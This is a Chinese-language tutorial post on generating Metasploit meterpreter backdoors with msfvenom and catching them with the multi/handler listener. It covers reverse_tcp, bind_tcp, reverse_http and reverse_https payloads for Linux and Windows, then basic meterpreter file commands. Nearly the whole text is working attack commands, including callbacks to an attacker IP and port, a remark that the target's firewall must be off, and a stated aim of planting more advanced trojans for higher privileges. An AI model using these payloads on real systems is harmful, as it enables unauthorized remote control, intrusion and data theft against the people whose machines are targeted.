kali linux中meterpreter使用前的反彈shell及其基礎語法
一.反彈shell的型別:
1.reverse_tcp (基於TCP反向連結反彈shell)
1).在kali linux終端中,生成一個反彈shell
linux版:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=你kali本機的IP lport=隨便選一個埠來接收資訊 -f elf -o shell
如:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=172.168.240.119 lport=4444 --f elf -o shell
windows版:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.168.240.119 lport=4444 -f exe -o shell.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.168.240.119 lport=4444 -f raw -o shell.exe
2).生成shell後,將shell上傳到相對應的靶機中,例如,linux版的上傳到linux系統裡,windows上傳到windows系統中
前提是,靶機裡的防火牆都要關閉,否則會被滅殺
3).在kali linux終端進入msfconsole介面
即執行以下命令:
msfconsole
use expolit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.168.240.119
set lport 4444
show options
exploit
4).返回windows中,點選執行shell,kali終端就會在4444埠連線到windows的meterpreter,記下來就進入到meterpreter命令列內,簡單的一次shell反彈就成功了
2. bind_tcp (基於TCP正向連線的shell,適合在內網中使用,不用設定LHOST)
linux:
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
set lport 4444
exploit
再開啟一個終端
進入到shell所在的目錄
ls
給shell一個執行的許可權
chmod +x shell
ls
可以檢視一下,可以發現shell的顏色變了,說明加許可權=成功
找到shell,點選執行,在msfconsole裡可以看到握手成功,直接進入到meterpreter命令內
windows:
msfvenom -p windows/meterpreter/bind_tcp lport=4444 -f exe -o shell.exe
3.reverse_http ( 基於http方式的反向連線,在網速慢的情況下不穩定)
windows:
msfvenom -p windows/meterpreter/reverse_http lport=4444 -f exe -o shell.exe
4.reverse_https (基於https方式的反向連線,在網速慢的情況下不穩定, https如果反彈沒有收到資料,可以將監聽埠換成443試試)
windows:
msfvenom -p windows/meterpreter/reverse_https lport=4444 -f exe -o shell.exe
msfvenom的反彈shell進入到靶機裡,最主要的不是對其電腦進行簡單的操作,而是生成更高階的木馬,來獲取靶機更高階的許可權
meterpreter中的一些操作(即將shell上傳到本虛擬機器裡):
1.檢視目錄
ls
檢視其他目錄,並監聽
ls /root/Documents
2.檔案上傳
將桌面的檔案上傳到文件裡
upload /root/Desktop/a.txt /root/Documents/
3.刪除檔案
rm /root/Document/a.txt